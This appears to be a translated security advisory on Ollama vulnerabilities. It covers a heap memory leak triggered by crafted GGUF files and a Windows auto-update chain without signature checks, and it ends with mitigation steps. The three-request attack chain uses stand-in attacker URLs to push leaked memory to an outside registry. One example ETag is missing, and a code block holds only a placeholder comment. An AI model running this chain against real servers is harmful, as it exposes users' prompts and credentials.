Ollama 关键漏洞导致 AI 服务器面临内存泄漏和 Windows RCE 风险

# Ollama 远程代码执行漏洞：Bleeding Llama 与 Windows 攻击链 | The CyberSec Guru 来源：https://thecybersecguru.com/exploits/ollama-rce-vulnerability-bleeding-llama/ AI 基础设施社区接连曝出两起安全披露事件，两者均不容忽视。研究人员在 Ollama 中发现了多个严重漏洞。Ollama 是一个开源框架，被数十万开发者和企业用于在本地硬件上运行大型语言模型。其中一个被称为“Bleeding Llama”的漏洞，允许陌生人在三次 HTTP 请求中耗尽服务器的进程内存。另一个针对 Windows 的更新链攻击已未修复超过 90 天。 如果你正在运行 Ollama，简而言之：请立即升级到 v0.23.2 或更高版本；如果你使用的是 Windows，在厂商发布修复方案之前，请手动禁用自动更新。 Ollama LogoOllama Logo ## **什么是 Ollama，为什么这很重要？** Ollama 是一个流行的开源框架，允许用户在本地运行大语言模型（LLM），而不是通过云端 API。在 GitHub 上，该项目拥有超过 171,000 颗星和 16,100 多个分支。凭借超过 1 亿次的 Docker Hub 下载量以及在企业中作为自托管 AI 推理引擎的广泛采用，它已成为希望在自有硬件上进行模型推理的团队的事实标准。 问题在于，Ollama 默认不提供身份验证，并且经常被配置为监听所有网络接口（`0.0.0.0`），尽管它是为本地使用而设计的，默认情况下绑定到 localhost。根据国家漏洞数据库（NVD）的观察，文档中记录的 `OLLAMA_HOST=0.0.0.0` 配置在实践中被广泛使用，导致大量暴露在公共互联网上。结果是：目前约有 300,000 个 Ollama 服务器暴露在公共互联网上，还有更多服务器位于隔离措施不足的本地网络中。 ### CVE-2026-7482 – “Bleeding Llama” #### 背景：Ollama 如何从文件创建模型 要理解这个漏洞，首先需要理解它所在的代码路径。 在 Ollama 中创建模型实例有两种方式。第一种是 `/api/pull`，它从 Ollama 注册表下载现有模型。第二种是 `/api/create`，它允许你通过指定系统提示词和量化级别等配置参数来构建自定义模型实例，要么从远程注册表拉取，要么从先前上传的模型文件构建。 文件通过 `/api/blobs/sha256:[sha256-digest]` 端点上传到 Ollama 服务器。SHA-256 摘要根据文件内容计算，实际文件内容在 HTTP 请求体中发送。 #### 什么是 GGUF 文件？ GGUF 是一种文件格式，用于以高效加载和在本地运行的方式存储大型语言模型。GGUF 文件包含张量——代表模型学习参数（权重）的多维数字数组。头部包含描述文件的数据：GGUF 格式的版本、张量数量以及键值元数据。 值得注意的一个元数据字段是 `general.file_type`，它决定了张量内数字的存储方式。与本漏洞相关的两种类型是 F16（16 位浮点数）和 F32（32 位浮点数）。头部之后是一张量对象列表，每个对象存储张量的名称、维度数、数据类型以及指向实际张量数据在文件中位置的偏移量。 #### 量化：它是什么以及为什么在这里很重要 量化降低了存储在张量中的数字的精度，使模型更小、运行更快，但代价是牺牲一些准确性。F32 使用 4 字节存储每个数字；F16 使用 2 字节。从 F32 移动到 F16 将内存使用量减半，但涉及永久性数据丢失——部分小数精度丢失且无法恢复。相反，从 F16 到 F32 则完全不涉及数据丢失。最后一点对于攻击的工作原理至关重要。 #### Unsafe 包：Go 的安全逃生舱口 Go 开发者可能会好奇，在一种内存安全的语言中，运行时通常会引发恐慌并崩溃，怎么可能发生越界内存漏洞。答案在于 Go 的 `unsafe` 包，它作为低级内存操作的逃生舱口，绕过了所有常规的安全保证。不出所料，Ollama 使用 `unsafe` 的唯一地方正是该漏洞所在之处。 #### `WriteTo()` 中的 Bug 当 `/api/create` 处理 GGUF 文件时，会调用 `createModel` 来协调模型创建。如果请求了量化，则会准备一个新层，通过复制每个张量的元数据（形状和类型，但不包含实际数据）。然后，对于每个张量，调用 `WriteTo()`，这是负责从源类型到目标类型的实际数学转换的函数。 为了优化，`WriteTo()` 首先将源数据转换为 F32，然后从 F32 转换为目标格式。通过始终以 F32 作为中间步骤，每种格式只需要两个转换函数，而不是每对可能组合之间的直接路径。如果目标类型已经是 F32，中间步骤只是直接复制数据。 问题出在这里。`WriteTo()` 调用 `ConvertToF32`，传入三个参数：原始数据缓冲区、源类型和 `q.from.Elements()`。`Elements()` 函数通过将其形状维度相乘来返回张量中的元素总数——形状为 (3, 3, 3) 的张量有 27 个元素。`ConvertToF32` 然后根据源类型调用适当的转换函数。如果源是 F16，它会调用 `ggml_fp16_to_fp32_row`，传入原始数据指针、输出缓冲区以及要从 `Elements()` 获取的读取元素数量。 问题在于：GGUF 只是一种二进制格式，任何人都可以手动创建一个，并将张量的形状设置为任意值。没有任何验证来确认即将读取的元素数量实际上与实际数据大小相匹配。如果攻击者在形状字段中设置一个非常大的数字，循环会盲目地读取超过缓冲区末尾，这就是越界堆读取。 因此，攻击者制作一个 GGUF 文件，其中张量头声明形状为，例如，1,000 × 1,000 × 1,000 个元素（十亿个），而其后的实际文件数据只有几个字节。`ggml_fp16_to_fp32_row` 中的循环运行十亿次迭代，从缓冲区边界开始，拉取其后超出范围的任何堆内存，其他用户的对话数据、系统提示字符串、环境变量内容，全部进入输出缓冲区。 #### 无损数据外传技巧 在这里，Cyera 的研究人员发现了一些真正具有创造性的东西。通过大多数攻击路径读取原始堆内存会产生损坏的垃圾数据，因为有损量化破坏了重建原始内容所需的字节模式。 为了保持泄漏数据的完整性，将张量类型设置为 F16，并请求 F32 作为目标格式。F16 到 F32 是一种无损转换——2 字节扩展为 4 字节，没有任何信息丢失。由于目标已经是 F32，第二阶段转换根本不做任何事。数据原封不动地写入磁盘，正如它在内存中那样。 结果是，一个包含服务器堆内存的模型工件被写入磁盘，完美保存且逐位可读。 #### 获取数据：滥用 `/api/push` 此时，被盗的内存位于目标服务器上的模型文件中。攻击者仍然需要检索它。 Ollama 的 `/api/push` 端点接受模型名称作为参数，并将命名模型上传到注册表。`PushHandler` 函数检查磁盘上是否存在具有该名称的模型，然后调用 `PushModel` 处理上传。`PushModel` 解析模型名称，如果名称看起来像 HTTP URI，它会将整个模型推送到该 URI。 没有任何验证可以防止这种情况。你可以通过 `/api/create`（带有文件）创建一个模型，并给模型一个类似 `http://attacker-server.com/namespace/model:tag` 的名称，然后用该名称调用 `/api/push`，Ollama 会将模型——包括所有泄漏的堆数据——直接上传到攻击者的服务器。 #### 完整的三次调用攻击链 将所有内容结合起来，攻击就是这样： 1. **`POST /api/blobs/sha256:[hash]`** – 上传制作的 GGUF 文件，伪造的张量形状为 100 万个元素，指向几个字节的实际数据。 2. **`POST /api/create`** – 使用 `quantize=F32` 触发模型创建，并将模型名称设置为攻击者控制的 URI（例如，`http://evil.example.com/org/stolen-model:latest`）。这会触发 `WriteTo()`，发生越界读取，泄漏的堆内存落入磁盘上的新模型工件中。 3. **`POST /api/push`** – 将生成的“模型”推送到攻击者控制的注册表。Ollama 忠实地上传包含其刚从堆内存中读取的所有内容的工件。 实践中泄漏的数据包含用户提示、并发加载的其他模型的系统提示以及主机上的环境变量，仅通过三次 API 调用即可暴露。 无需凭据。无需权限提升。没有传统意义上的恶意代码——只有 HTTP 请求、手工制作的二进制文件以及运行 Ollama 的服务器。 #### 实际被盗取的内容 在企业环境中，泄漏的堆内容可能包括 API 密钥、内部指令、专有代码、与客户相关的内容以及由 AI 工作流处理的其他敏感材料。当 Ollama 连接到外部工具或编码助手时，风险会加剧，因为这些输出经过内存，成为攻击者可以提取内容的一部分。 在一家使用 Ollama 作为数千名员工共享推理服务的大型企业中，攻击者可以基本上了解有关该组织的任何信息——API 密钥、专有代码、客户合同等等。环境变量特别危险，因为它们通常携带云凭据，如 `AWS_ACCESS_KEY_ID`、`GIT_TOKEN` 或数据库连接字符串。 ### CVE-2026-42248 和 CVE-2026-42249 – Windows 更新器链 #### 仍未修复 虽然 Bleeding Llama 在 v0.17.1 中有修复方案，但来自 Striga 和 CERT Polska 的针对 Windows 的攻击链并没有。截至 2026 年 1 月 27 日披露后，这些缺陷仍未修补，并在 90 天披露期结束后发布。 #### 更新机制如何工作 Windows 桌面客户端在登录时从 Windows 启动文件夹自动启动，监听 `127.0.0.1:11434`，并通过 `/api/update` 端点在后台定期轮询更新，在下一次应用程序启动时运行任何待处理的更新。 此管道中的两个单独弱点，单独评级为 CVSS 7.7，链接在一起造成更严重的后果。 #### CVE-2026-42248：缺少签名验证 在 Windows 上，`verifyDownload()` 函数是一个存根。它无条件返回 `nil`——成功而不执行任何代码签名检查。没有加密验证来确认下载的二进制文件是否由 Ollama 的基础架构合法签名。更新程序将接受任何任意 PE 二进制文件作为有效更新包。 这意味着如果攻击者可以通过任何网络路径影响更新程序接收的内容，他们无需路径遍历 bug 即可获胜。如果攻击者控制更新响应，仅缺少完整性检查就足以执行代码。 更新程序使用直接从 `ETag` HTTP 响应头获取的值构建安装程序的本地暂存目录路径。在用于构建文件路径之前，ETag 值未进行清理。攻击者控制的更新服务器可以提供类似以下的 ETag： 这将重定向下载的二进制文件的写入位置，直接将其放入 Windows 启动文件夹。 #### 链接以实现持久执行 结合两者。攻击者提供恶意 PE 二进制文件作为“更新有效负载”和一个指向 `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\` 的路径遍历 ETag。由于没有签名检查失败，文件被静默写入启动项。要利用这些缺陷，攻击者需要控制受害者 Ollama 客户端可访问的更新服务器，这可以通过将 `OLLAMA_UPDATE_URL` 重写为指向本地 HTTP 服务器，或通过网络上的 DNS 劫持或 TLS 拦截来实现。攻击链还需要启用 `AutoUpdateEnabled`，这是默认设置。 更新过程在后台静默运行，没有用户通知。下次登录时，Windows 执行有效负载。后门在重新安装 Ollama 后仍然存在，因为恶意文件独立于 Ollama 自身的安装目录存在于启动项中。 ### 为什么企业 AI 特别容易受到攻击 令人不安的事实是，Ollama 从未按照实际部署的方式进行设计。Ollama 被设计为 localhost 工具，这就是它不包括身份验证的原因。在实践中，团队在容器中部署它，将其暴露给其他服务，或配置为监听所有接口以支持多客户端使用。 有权访问 Ollama HTTP 服务器的攻击者已经可以指示它们拉取或删除任何 AI 模型。内存泄漏漏洞更进一步，从推理过程本身提取机密。 代理管道角度尤其值得关注。运行 Claude Code、LangChain 或通过本地 Ollama 实例路由的自定义编排层的团队，在每次推理调用时都将专有代码、内部文档和 API 凭据通过该服务器的堆内存推送。 ### 响应计划 #### 分诊 在所有工作站和服务器上运行 `ollama --version`。任何低于 0.17.1 的版本都容易受到内存泄漏的影响。使用 `ss -tlnp | grep 11434` 检查网络绑定，如果 Ollama 绑定到 `0.0.0.0`，请假设最坏情况。对你的公共 IP 范围在端口 11434 上运行 Shodan 查询。 #### 修补和遏制 升级到 v0.23.2 或最新可用版本。设置环境变量 `OLLAMA_HOST=127.0.0.1:11434` 以防止外部网络访问。如果确实需要远程访问，请将 Ollama 放在认证反向代理（Nginx、Caddy）或身份感知网关（如 Tailscale 或 Cloudflare Access）后面。 如果你的 Ollama 实例在修补之前是公开可访问的，假设可能已被入侵。审查可能暴露的敏感数据并轮换所有凭据。这意味着云提供商密钥、API 令牌、注册表凭据以及可能存在于主机进程环境中的任何机密。 #### Windows 特定加固 在 Ollama 发布 CVE-2026-42248 和 CVE-2026-42249 的修复方案之前： 在 Ollama 托盘设置中禁用自动更新。删除任何启动项： ```powershell # 在此处插入删除启动项的 PowerShell 命令，原文未提供具体命令，故保留空位或根据上下文省略具体代码块内容 ``` 在真正实施签名验证之前，不要重新启用自动更新。直接监视官方 Ollama GitHub 发布并通过从源代码下载安装程序手动更新。 ### 常见问题解答 **问：我的 Ollama 实例在 Docker 中运行。我安全吗？** 不安全。Docker 隔离不能防止 Bleeding Llama。该漏洞泄漏 Ollama 进程内部的内存。如果容器的 11434 端口可以从网络或同一主机上的其他容器访问——攻击有效。这里的容器边界无关紧要。 **问：我的 EDR 能捕获到吗？** 对于内存泄漏，可能不会。越界读取发生在 Ollama 进程的完全合法代码路径内部。没有 shellcode，没有不寻常的系统调用，典型的行为 EDR 签名不会标记任何内容。Windows RCE 有效负载可能会在执行时被捕获，具体取决于它做什么，但那时持久化已经建立。